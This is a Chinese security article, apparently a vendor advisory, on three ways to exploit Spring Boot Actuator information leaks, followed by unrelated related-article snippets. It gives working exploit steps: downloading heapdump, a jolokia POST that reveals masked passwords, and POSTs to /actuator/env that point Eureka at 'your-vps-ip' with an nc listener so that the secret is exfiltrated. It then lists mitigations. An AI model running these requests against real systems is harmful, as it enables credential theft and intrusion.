当前位置: 首页 > news >正文

可造成敏感信息泄露!Spring Boot之Actuator信息泄露漏洞三种利用方式总结

1.介绍

Spring Boot是一个基于Spring的套件,它提供了一个即开即用的应用程序架构,可以简化Spring应用的创建及部署流程,帮助开发者更轻松快捷地构建出企业及应用。

Spring Boot项目中Actuator模块提供了众多HTTP接口端点(Endpoint),来提供应用程序运行时的内部状态信息。可以使用http、jmx、ssh、telnet等来管理和监控应用。包括应用的审计(Auditing)、健康(health)状态信息、数据采集(metrics gathering)统计等监控运维的功能。如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator端点)。其中heapdump作为Actuator组件最为危险的Web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息。

Spring Boot 1.x 和 2.x 的 Actuator模块设置有差别,访问功能的路径也有差别,但现在多使用的Spring Boot版本为2.x

2.Actuator存在两个版本

1)x版本

/configprops#显示所有@ConfigurationProperties

/env#公开Spring的ConfigurableEnvironment

/health#显示应用程序运行状况信息

/httptrace#显示HTTP跟踪信息

/metrics#显示当前应用程序的监控指标信息

/mappings#显示所有@RequestMapping路径的整理列表

/threaddump#线程转储

/heapdump#堆转储

/jolokia#JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

2)x版本

/actuator/configprops # 显示所有@ConfigurationProperties

/actuator/env # 公开Spring的ConfigurableEnvironment

/actuator/health # 显示应用程序运行状况信息

/actuator/httptrace # 显示HTTP跟踪信息

/actuator/metrics # 显示当前应用程序的监控指标信息。

/actuator/mappings # 显示所有@RequestMapping路径的整理列表

/actuator/threaddump # 线程转储

/actuator/heapdump#堆转储

/actuator/jolokia#JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

3. /actuator/env利用

该端点可以返回全部环境变量以及一些配置信息,其中就包含了数据库配置信息。但是我们可以看到password被用*代替了,这时就要想办法读取该数据了,获取明文密码办法有以下四种。

方法一(heapdump)

利用条件:

可正常GET请求目标/heapdump或/actuator/heapdump接口

利用方法:

(1)下载heapdump

127.0.0.1:8088/actuator/heapdump 下载heapdump文件,泄露JAVA堆dump信息:

(2)heapdump文件解密

https://github.com/wyzxxz/heapdump_tool

查询密码 > password

获取ip > getip

获取url > geturl

获取文件路径 > getfile

方法二(jolokia)

利用条件:

目标网站存在/jolokia或/actuator/jolokia接口

目标使用了jolokia-core依赖(版本要求暂未知)

默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖

<dependency><groupId>org.jolokia</groupId> <artifactId>jolokia-core</artifactId> 
<version>1.7.0</version> 

利用方法:

  1. 首先访问/actuator/env接口,获取想要获得明文的属性名,然后通过jolokia调用相关Mbean获取明文。
  2. 然后访问http://ip:port/actuator/jolokia/list
    看一下目标环境中存在的MBean:

接下来就可以通过调用我们找到的MBean来获取我们感兴趣字段的明文了。

如果是1.x版本请求路径则为/jolokia

当前环境测试如下:

POST/actuator/jolokia 
Content-Type:application/json 
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
方法三(VPS)

利用条件

可以GET请求目标网站的/env

可以POST请求目标网站的/env

可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖)

目标使用了spring-cloud-starter-netflix-eureka-client依赖

目标可以请求攻击者的服务器(请求可出外网)

这里需要注意的是,添加了spring-cloud-starter-netflix-eureka-client依赖后,启动项目可能会报一个如下错误:

移除了当前项目中的servlet依赖后报错消失。

还有一个问题就是如果使用的Spring Boot版本大于2.2.4,则必须使用下面的属性手动启用POST API调用

management.endpoint.env.post.enabled=true

否则不能通过POST访问env端点。

利用方法

1. 首先访问http://127.0.0.1:8080/actuator/env来获取我们想要明文字段的key

2. 在自己控制的外网服务器上监听80端口nc-lvk80

3. 将下面

[http://value: s e c u r i t y . u s e r . p a s s w o r d @ y o u r − v p s − i p ] ( h t t p : / / y o u r − v p s − i p " h t t p : / / v a l u e : {security.user.password}@your-vps-ip](http://your-vps-ip "http://value: security.user.password@yourvpsip](http://yourvpsip"http://value:{security.user.password}@your-vps-ip")
security.user.password换成自己想要获取的对应的星号*遮掩的属性名;
your-vps-ip换成自己外网服务器的真实ip地址

POST/actuator/env 
Content-Type:application/json 
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

4. 刷新配置

POST/actuator/refresh 
Content-Type:application/json

5. 解码属性值接下来VPS会获得如下请求

GET/apps/HTTP/1.1 
Accept:application/json,application/*+json 
Authorization:BasicdmFsdWU6cm9vdA== 

Host:******

Connection:Keep-Alive 
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate

将Authorization字段进行base64解密后,得到的值就是value:password

方法四(VPS)

利用条件

通过POST/env设置属性触发目标对外网指定地址发起任意http请求

目标可以请求攻击者的服务器(请求可出外网)

利用方法

在目标发外部http请求的过程中,在urlpath中利用占位符带出数据。

  1. 首先访问http://127.0.0.1:8080/actuator/env来获取我们想要明文字段的key

2. 在自己控制的外网服务器上监听80端口:nc-lvk80

3. 构造如下数据包

POST/actuator/env
Content-Type:application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

4. 刷新配置

POST/actuator/refresh 
Content-Type:application/json

5. 查看VPS

接下来VPS就会收到请求:

Ncat:Connectionfrom****** 
GET/SecretKe/apps/HTTP/1.1 
Accept:application/json,application/*+json 
Host:****** 
Connection:Keep-Alive
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate

apps前面的路径就是我们需要的数据。

4.结语

Spring Boot使开发更加简单和高效,因此也得到了广泛的应用,这也导致了漏洞影响面的扩大,Spring Boot漏洞可造成以下危害:

1、未授权的访问者可以通过Actuator端点获取敏感信息,如数据库账户密码,代码及后台账号密码,攻击者可利用泄露信息进行进一步利用,并进行更深入的攻击。.

2、攻击者可以通过Actuator端点的未授权访问,执行恶意操作,如修改配置、篡改数据、重启应用程序、关闭数据库连接等,从而破坏应用程序的正常运行。

3、当系统使用Jolokia库特性可以远程执行任意代码,获取服务器权限。

网宿建议可能受影响的企业采取以下措施来缓解Spring Boot系列漏洞的影响:

**1、引入 security 依赖:**开启security功能,打开安全限制并进行身份验证;同时设置单独的 Actuator 管理端口并配置不对外网开放。

**2、禁用敏感端点:**根据实际需求,禁用或限制不需要的Actuator端点,避免将过多敏感信息暴露给未授权访问者

**3、加强日志和监控:**定期监控和审计Actuator端点的访问日志,及时发现异常访问,并采取适当的响应措施。

4、加强边界防护:引入WAF等边界防护手段,拦截针对Spring Boot漏洞的利用行为。

网宿全站防护-WAF模块已第一时间支持Spring Boot系列漏洞的防护,并持续挖掘分析其他变种攻击方式和各类组件漏洞,第一时间上线防护规则,缩短防护“空窗期”。

相关文章:

可造成敏感信息泄露!Spring Boot之Actuator信息泄露漏洞三种利用方式总结

1.介绍 Spring Boot是一个基于Spring的套件&#xff0c;它提供了一个即开即用的应用程序架构&#xff0c;可以简化Spring应用的创建及部署流程&#xff0c;帮助开发者更轻松快捷地构建出企业及应用。 Spring Boot项目中Actuator模块提供了众多HTTP接口端点&#xff08;Endpoi…...

支持图像和视频理解多模态开源大模型:CogVLM2 CogVLM2-Video

CogVLM2和CogVLM2-Video是新一代的开源模型&#xff0c;支持图像和视频理解&#xff0c;具有显著的性能提升。最近发布的更新包括CogVLM2论文的发表、在线演示和对视频理解的支持&#xff0c;能够处理最多1分钟的视频。新模型支持中英文&#xff0c;文本长度可达8K&#xff0c;…...

ClouderaManager 集群搭建

前提&#xff1a;服务器之前做过域名映射、免密登录 ClouderaManager 集群 1. 组件分布规划 服务器服务器h1zk、hdfs(dn)、yarn(nm)、spark、kafka、flumeh2hdfs(nn-standy)、yarn(rm-active)、sparkh3hdfs(nn-active)、yarn(rm-standy)、hive、sparkh4zk、hdfs(dn)、yarn(n…...

Docker 搭建 gitlab 服务器卡顿问题解决方法(创建:swap分区)

Docker 安装系列 服务器搭建了一个 gitlab 服务器以供自己开发使用&#xff0c;服务器搭建很简单&#xff0c;但是使用起来是相当的卡顿&#xff0c;在代码 pull&#xff0c;push 过程中都会有相应的延迟。gitlab 启动运行就占用了大量的内存&#xff0c;4G内存在启动后已经所…...

PVE修改IP地址

一、在局域网的电脑浏览器输入PVE的IP地址登录后台&#xff0c;从左边的菜单找到“PVE”—“_Shell”菜单&#xff0c;进入网页版的ssh界面下&#xff1b;或者在主机的控制台下输入root密码后登录到ssh下&#xff1b; 二、输入以下命令回车&#xff1a; vi /etc/network/inter…...

智能合约的离线签名(EIP712协议)解决方案

引言&#xff1a;本文由天玄链开源开发者提供&#xff0c;欢迎报名公益天玄链训练营 https://blockchain.163.com/trainingCamp 一、解决核心问题 项目方不支付gas费&#xff0c;由用户自己发起交易&#xff0c;用户支付gas费。用户的数据保存在链下服务器中&#xff0c;tok…...

大模型Qwen面试内容整理-应用场景与案例分析

Qwen模型凭借其强大的自然语言理解和生成能力,在多个实际应用场景中得到了广泛应用。以下是Qwen模型的主要应用场景及一些典型的案例分析,展示了它如何解决具体问题和带来实际价值。 智能对话系统 ● 应用场景 ○ 客服机器人:Qwen被用于开发智能客服机器人,能够理解客户的问…...

spring boot的统一异常处理,使用@RestControllerAdvice

RestControllerAdvice 是 Spring Boot 中用于全局异常处理的注解&#xff0c;它结合了 ControllerAdvice 和 ResponseBody 的功能。这意味着使用 RestControllerAdvice 注解的类将应用于所有 RequestMapping 方法&#xff0c;并且任何从这些方法返回的对象都会被转换为 HTTP 响…...

OFCA-OpenHarmony课后习题答案

本文是 OFCA-OpenHarmony 认证模拟考试的习题答案&#xff0c;涵盖 OpenHarmony 的多内核设计、权限申请、通知发布、系统线程、启动过程、分布式软总线、模块导入、文件管理、公共事件等多个方面。每道题目均提供了详细的选择项和正确答案&#xff0c;旨在帮助考生熟悉考试内容…...

Open AI 推出 ChatGPT Pro

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…...

利用PHP和GD库实现图片切割

利用PHP和GD库实现图片切割的详细步骤如下&#xff1a; 一、检查GD库是否安装 确保服务器上已经安装了PHP和GD库。可以使用phpinfo()函数来检查GD库是否已经安装和启用。 二、加载原始图片 使用PHP提供的imagecreatefromjpeg()、imagecreatefrompng()或imagecreatefromgif(…...

【css】基础(一)

本专栏内容为&#xff1a;前端专栏 记录学习前端&#xff0c;分为若干个子专栏&#xff0c;html js css vue等 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn ⏩专栏分类&#xff1a;css专栏 &#x1f69a;代码仓库&#xff1a;小小unicorn的代码仓库&#x1f69a; &a…...

springboot415社区网格化管理平台的构建-(论文+源码)_kaic

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本社区网格化管理平台就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据…...

如何在 Ubuntu 上安装开源监控工具 Uptime Kuma

简介 Uptime Kuma&#xff08;或简称 Kuma&#xff09;是一个开源监控工具&#xff0c;用于监控 HTTP、HTTPS、DNS 等协议的服务。Uptime Kuma 提供多种功能&#xff0c;如多语言支持、多个状态页面、代理支持等。 接下来&#xff0c;我将一步一步教大家如何进行安装和部署&am…...

复习 part one

synchronized 和 ReentrantLock的区别 synchronized 和 ReentrantLock 都是 Java 中提供的可重入锁&#xff0c;二者的主要区别有以下 5 个&#xff1a; 用法不同&#xff1a;synchronized 可以用来修饰普通方法、静态方法和代码块&#xff0c;而 ReentrantLock 只能用于代码块…...

【工业机器视觉】基于深度学习的水表盘读数识别(3-数据标注与转换)

【工业机器视觉】基于深度学习的仪表盘识读&#xff08;2&#xff09;-CSDN博客 数据标注 标注扩展 Labelme 和 LabelImg 都是用于创建机器学习和计算机视觉项目所需标注数据的工具。它们都允许用户通过图形界面手动标注图像&#xff0c;但各自有其特点和适用场景。 Labelme…...

python数据分析之爬虫基础:selenium详细讲解

目录 1、selenium介绍 2、selenium的作用&#xff1a; 3、配置浏览器驱动环境及selenium安装 4、selenium基本语法 4.1、selenium元素的定位 4.2、selenium元素的信息 4.3、selenium元素的交互 5、Phantomjs介绍 6、chrome handless模式 1、selenium介绍 &#xff08;1…...

Tips--解决esptool经pyinstaller打包后无法使用的问题

esptool打包后失效解决方法 问题1原因解决方法问题2原因解决方法 问题1 esptool经过pyinstaller打包成exe后&#xff0c;提示错误&#xff1a;Stub flasher JSON file for esp32 not found 原因 pyinstaller在进行esptool打包的时候&#xff0c;通常不用讲Stub flaser Json文…...

Apache DolphinScheduler 限制秒级别的定时调度

背景 Apache DolphinScheduler 定时任务配置采用的 7 位 Crontab 表达式&#xff0c;分别对应秒、分、时、月天、月、周天、年。 在团队日常开发工作中&#xff0c;工作流的定时调度一般不会细化到秒级别。但历史上出现过因配置的疏忽大意而产生故障时间&#xff0c;如应该配…...

Oracle 数据库创建用户并分配只读的权限

引言 在 Oracle 数据库的日常运维和开发过程中&#xff0c;用户管理是确保数据安全与访问控制的关键环节。通过合理创建用户并分配适当的权限&#xff0c;可以有效防止未授权的访问和操作。本文将详细介绍如何在 Oracle 数据库中&#xff1a; 创建新用户并设置复杂密码。授予…...

XCTF-web-easyupload

试了试php&#xff0c;php7&#xff0c;pht&#xff0c;phtml等&#xff0c;都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接&#xff0c;得到flag...

Spark 之 入门讲解详细版(1)

1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室&#xff08;Algorithms, Machines, and People Lab&#xff09;开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目&#xff0c;8个月后成为Apache顶级项目&#xff0c;速度之快足见过人之处&…...

线程同步:确保多线程程序的安全与高效!

全文目录&#xff1a; 开篇语前序前言第一部分&#xff1a;线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分&#xff1a;synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分&#xff…...

vue3 字体颜色设置的多种方式

在Vue 3中设置字体颜色可以通过多种方式实现&#xff0c;这取决于你是想在组件内部直接设置&#xff0c;还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法&#xff1a; 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

oracle与MySQL数据库之间数据同步的技术要点

Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异&#xff0c;它们的数据同步要求既要保持数据的准确性和一致性&#xff0c;又要处理好性能问题。以下是一些主要的技术要点&#xff1a; 数据结构差异 数据类型差异&#xff…...

全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比

目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec&#xff1f; IPsec VPN 5.1 IPsec传输模式&#xff08;Transport Mode&#xff09; 5.2 IPsec隧道模式&#xff08;Tunne…...

使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台

🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型(LLM)的广泛应用,开发者常面临多个挑战: 各大模型(OpenAI、Claude、Gemini、Ollama)接口风格不统一;缺乏一个统一平台进行模型调用与测试;本地模型 Ollama 的集成与前…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)

目录 一、&#x1f44b;&#x1f3fb;前言 二、&#x1f608;sinx波动的基本原理 三、&#x1f608;波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、&#x1f30a;波动优化…...

基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解

JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用&#xff0c;结合SQLite数据库实现联系人管理功能&#xff0c;并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能&#xff0c;同时可以最小化到系统…...

push [特殊字符] present

push &#x1f19a; present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中&#xff0c;push 和 present 是两种不同的视图控制器切换方式&#xff0c;它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...